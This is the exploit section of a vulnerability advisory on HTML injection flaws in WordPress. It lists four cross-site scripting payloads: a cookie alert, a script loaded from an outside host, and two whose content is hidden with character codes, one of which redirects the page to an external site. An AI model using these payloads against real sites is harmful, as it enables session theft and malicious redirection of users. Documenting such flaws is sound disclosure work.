• info
• discussion
• exploit
• solution
• references

WordPress Multiple HTML Injection Vulnerabilities


An exploit is not required.

Examples have been provided:

- <script>alert(document.cookie)</script>
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
78,83,84))</script>
- <script src=http://www.example.com></script>
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,
47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
97,109,46,110,101,116)</script>